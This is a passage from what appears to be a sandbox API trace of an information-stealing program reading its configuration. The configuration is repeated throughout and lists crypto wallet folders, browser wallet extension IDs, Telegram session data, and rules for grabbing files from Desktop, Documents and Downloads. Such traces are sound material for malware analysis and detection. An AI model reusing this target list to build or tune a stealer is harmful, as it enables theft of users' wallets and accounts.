Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4397 [0266.186] LocalAlloc (uFlags=0x40, uBytes=0x22da) returned 0x6fc408 [0266.186] StrCpyW (in: psz1=0x6f4830, psz2="exodus" | out: psz1="exodus") returned="exodus" [0266.187] LocalFree (hMem=0x6fc408) returned 0x0 [0266.187] StrStrW (lpFirst="*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.187] lstrlenW (lpString="exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4397 [0266.187] LocalAlloc (uFlags=0x40, uBytes=0x22da) returned 0x6fc408 [0266.187] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.187] LocalFree (hMem=0x6fc408) returned 0x0 [0266.187] StrStrW (lpFirst="*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension 